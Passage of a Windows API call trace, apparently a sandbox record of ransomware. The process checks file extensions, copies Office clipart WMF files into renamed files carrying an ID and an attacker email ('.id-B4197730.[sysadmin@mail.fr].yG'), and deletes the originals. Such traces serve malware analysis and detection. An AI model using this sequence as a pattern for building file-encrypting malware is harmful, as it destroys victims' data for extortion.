	[0144.885] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0144.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 68
	[0144.886] lstrlenW (lpString=".jpg") returned 4
	[0144.886] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0144.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 68
	[0144.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 68
	[0144.886] lstrlenW (lpString=".doc") returned 4
	[0144.886] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0144.886] lstrlenW (lpString=".docx") returned 5
	[0144.886] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0144.886] lstrlenW (lpString=".pdf") returned 4
	[0144.886] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0144.886] lstrlenW (lpString=".xls") returned 4
	[0144.886] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0144.887] lstrlenW (lpString=".xlsx") returned 5
	[0144.887] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0144.887] lstrlenW (lpString=".ppt") returned 4
	[0144.887] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0144.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 68
	[0144.887] lstrlenW (lpString=".zip") returned 4
	[0144.887] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0144.887] lstrlenW (lpString=".rar") returned 4
	[0144.887] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0144.887] lstrlenW (lpString=".bz2") returned 4
	[0144.887] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0144.887] lstrlenW (lpString=".7z") returned 3
	[0144.888] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0144.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 68
	[0144.888] lstrlenW (lpString=".dbf") returned 4
	[0144.888] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0144.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 68
	[0144.888] lstrlenW (lpString=".1cd") returned 4
	[0144.888] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0144.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 68
	[0144.888] lstrlenW (lpString=".jpg") returned 4
	[0144.888] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0144.889] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0144.889] lstrlenW (lpString="EN00319_.WMF") returned 12
	[0144.889] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00319_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0144.890] GetFileSizeEx (in: hFile=0x530, lpFileSize=0x2bfff14 | out: lpFileSize=0x2bfff14*=2280) returned 1
	[0144.890] CloseHandle (hObject=0x530) returned 1
	[0144.890] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00319_.wmf")) returned 0x220
	[0144.890] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00319_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0144.891] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00319_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0144.891] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0144.891] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0145.017] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00319_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520
	[0145.179] GetLastError () returned 0x0
	[0145.179] ReadFile (in: hFile=0x530, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x8e8, lpOverlapped=0x0) returned 1
	[0145.181] WriteFile (in: hFile=0x520, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x8f0, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0x8f0, lpOverlapped=0x0) returned 1
	[0145.182] ReadFile (in: hFile=0x530, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x0, lpOverlapped=0x0) returned 1
	[0145.182] WriteFile (in: hFile=0x520, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0xec, lpOverlapped=0x0) returned 1
	[0145.182] SetEndOfFile (hFile=0x520) returned 1
	[0145.182] CloseHandle (hObject=0x520) returned 1
	[0145.183] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0145.183] SetEndOfFile (hFile=0x530) returned 1
	[0145.185] CloseHandle (hObject=0x530) returned 1
	[0145.186] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0145.187] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00319_.wmf")) returned 1
	[0145.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 68
	[0145.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 68
	[0145.188] lstrlenW (lpString=".doc") returned 4
	[0145.188] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0145.188] lstrlenW (lpString=".docx") returned 5
	[0145.188] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0145.189] lstrlenW (lpString=".pdf") returned 4
	[0145.189] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0145.189] lstrlenW (lpString=".xls") returned 4
	[0145.189] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0145.189] lstrlenW (lpString=".xlsx") returned 5
	[0145.190] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0145.190] lstrlenW (lpString=".ppt") returned 4
	[0145.190] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0145.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 68
	[0145.190] lstrlenW (lpString=".zip") returned 4
	[0145.190] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0145.190] lstrlenW (lpString=".rar") returned 4
	[0145.190] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0145.190] lstrlenW (lpString=".bz2") returned 4
	[0145.190] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0145.190] lstrlenW (lpString=".7z") returned 3
	[0145.190] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0145.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 68
	[0145.190] lstrlenW (lpString=".dbf") returned 4
	[0145.190] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0145.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 68
	[0145.190] lstrlenW (lpString=".1cd") returned 4
	[0145.191] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0145.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 68
	[0145.191] lstrlenW (lpString=".jpg") returned 4
	[0145.191] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0145.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 68
	[0145.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 68
	[0145.191] lstrlenW (lpString=".doc") returned 4
	[0145.191] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0145.191] lstrlenW (lpString=".docx") returned 5
	[0145.191] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0145.191] lstrlenW (lpString=".pdf") returned 4
	[0145.191] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0145.191] lstrlenW (lpString=".xls") returned 4
	[0145.191] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0145.191] lstrlenW (lpString=".xlsx") returned 5
	[0145.191] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0145.192] lstrlenW (lpString=".ppt") returned 4
	[0145.192] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0145.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 68
	[0145.192] lstrlenW (lpString=".zip") returned 4
	[0145.192] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0145.192] lstrlenW (lpString=".rar") returned 4
	[0145.192] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0145.192] lstrlenW (lpString=".bz2") returned 4
	[0145.192] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0145.192] lstrlenW (lpString=".7z") returned 3
	[0145.192] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0145.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 68
	[0145.192] lstrlenW (lpString=".dbf") returned 4
	[0145.192] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0145.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 68
	[0145.192] lstrlenW (lpString=".1cd") returned 4
	[0145.192] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0145.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 68
	[0145.193] lstrlenW (lpString=".jpg") returned 4
	[0145.193] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0145.193] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0145.193] lstrlenW (lpString="EN00397_.WMF") returned 12
	[0145.193] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00397_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0145.194] GetFileSizeEx (in: hFile=0x530, lpFileSize=0x2bfff14 | out: lpFileSize=0x2bfff14*=17308) returned 1
	[0145.194] CloseHandle (hObject=0x530) returned 1
	[0145.194] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00397_.wmf")) returned 0x220
	[0145.195] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00397_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0145.195] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00397_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0145.195] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0145.195] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0145.196] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00397_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520
	[0145.197] GetLastError () returned 0x0
	[0145.197] ReadFile (in: hFile=0x530, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x439c, lpOverlapped=0x0) returned 1
	[0145.199] WriteFile (in: hFile=0x520, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x43a0, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0x43a0, lpOverlapped=0x0) returned 1
	[0145.200] ReadFile (in: hFile=0x530, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x0, lpOverlapped=0x0) returned 1
	[0145.201] WriteFile (in: hFile=0x520, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0xec, lpOverlapped=0x0) returned 1
	[0145.201] SetEndOfFile (hFile=0x520) returned 1
	[0145.201] CloseHandle (hObject=0x520) returned 1
	[0145.201] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0145.201] SetEndOfFile (hFile=0x530) returned 1
	[0145.205] CloseHandle (hObject=0x530) returned 1
	[0145.205] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0145.206] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00397_.wmf")) returned 1
	[0145.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 68
	[0145.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 68
	[0145.206] lstrlenW (lpString=".doc") returned 4
	[0145.206] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0145.207] lstrlenW (lpString=".docx") returned 5
	[0145.207] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0145.207] lstrlenW (lpString=".pdf") returned 4
	[0145.207] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0145.207] lstrlenW (lpString=".xls") returned 4
	[0145.207] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0145.207] lstrlenW (lpString=".xlsx") returned 5
	[0145.207] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0145.207] lstrlenW (lpString=".ppt") returned 4
	[0145.207] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0145.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 68
	[0145.207] lstrlenW (lpString=".zip") returned 4
	[0145.207] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0145.207] lstrlenW (lpString=".rar") returned 4
	[0145.207] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0145.207] lstrlenW (lpString=".bz2") returned 4
	[0145.207] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0145.207] lstrlenW (lpString=".7z") returned 3
	[0145.207] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0145.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 68
	[0145.208] lstrlenW (lpString=".dbf") returned 4
	[0145.208] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0145.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 68
	[0145.208] lstrlenW (lpString=".1cd") returned 4
	[0145.208] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0145.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 68
	[0145.208] lstrlenW (lpString=".jpg") returned 4
	[0145.208] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0145.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 68
	[0145.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 68
	[0145.208] lstrlenW (lpString=".doc") returned 4
	[0145.208] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0145.208] lstrlenW (lpString=".docx") returned 5
	[0145.208] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0145.208] lstrlenW (lpString=".pdf") returned 4
	[0145.209] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0145.209] lstrlenW (lpString=".xls") returned 4
	[0145.209] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0145.209] lstrlenW (lpString=".xlsx") returned 5
	[0145.209] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0145.209] lstrlenW (lpString=".ppt") returned 4
	[0145.209] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0145.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 68
	[0145.209] lstrlenW (lpString=".zip") returned 4
	[0145.209] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0145.209] lstrlenW (lpString=".rar") returned 4
	[0145.209] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0145.209] lstrlenW (lpString=".bz2") returned 4
	[0145.209] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0145.209] lstrlenW (lpString=".7z") returned 3
	[0145.209] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0145.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 68
	[0145.210] lstrlenW (lpString=".dbf") returned 4
	[0145.210] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0145.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 68
	[0145.210] lstrlenW (lpString=".1cd") returned 4
	[0145.210] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0145.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 68
	[0145.210] lstrlenW (lpString=".jpg") returned 4
	[0145.210] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0145.210] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0145.210] lstrlenW (lpString="EN00902_.WMF") returned 12
	[0145.210] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00902_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0145.211] GetFileSizeEx (in: hFile=0x530, lpFileSize=0x2bfff14 | out: lpFileSize=0x2bfff14*=7944) returned 1
	[0145.212] CloseHandle (hObject=0x530) returned 1
	[0145.212] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00902_.wmf")) returned 0x220
	[0145.212] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00902_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0145.212] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00902_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0145.212] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0145.212] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0145.213] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00902_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520
	[0145.213] GetLastError () returned 0x0
	[0145.213] ReadFile (in: hFile=0x530, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x1f08, lpOverlapped=0x0) returned 1
	[0145.377] WriteFile (in: hFile=0x520, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x1f10, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0x1f10, lpOverlapped=0x0) returned 1
	[0145.378] ReadFile (in: hFile=0x530, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x0, lpOverlapped=0x0) returned 1
	[0145.378] WriteFile (in: hFile=0x520, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0xec, lpOverlapped=0x0) returned 1
	[0145.379] SetEndOfFile (hFile=0x520) returned 1
	[0145.379] CloseHandle (hObject=0x520) returned 1
	[0145.379] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0145.379] SetEndOfFile (hFile=0x530) returned 1
	[0145.382] CloseHandle (hObject=0x530) returned 1
	[0145.382] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0145.460] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00902_.wmf")) returned 1
	[0145.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 68
	[0145.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 68
	[0145.689] lstrlenW (lpString=".doc") returned 4
	[0145.689] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0145.689] lstrlenW (lpString=".docx") returned 5
	[0145.689] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0145.689] lstrlenW (lpString=".pdf") returned 4
	[0145.689] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0145.689] lstrlenW (lpString=".xls") returned 4
	[0145.689] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0145.689] lstrlenW (lpString=".xlsx") returned 5
	[0145.689] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0145.689] lstrlenW (lpString=".ppt") returned 4
	[0145.689] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0145.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 68
	[0145.689] lstrlenW (lpString=".zip") returned 4
	[0145.689] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0145.690] lstrlenW (lpString=".rar") returned 4
	[0145.690] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0145.690] lstrlenW (lpString=".bz2") returned 4
	[0145.690] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0145.690] lstrlenW (lpString=".7z") returned 3
	[0145.690] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0145.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 68
	[0145.690] lstrlenW (lpString=".dbf") returned 4
	[0145.690] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0145.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 68
	[0145.690] lstrlenW (lpString=".1cd") returned 4
	[0145.690] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
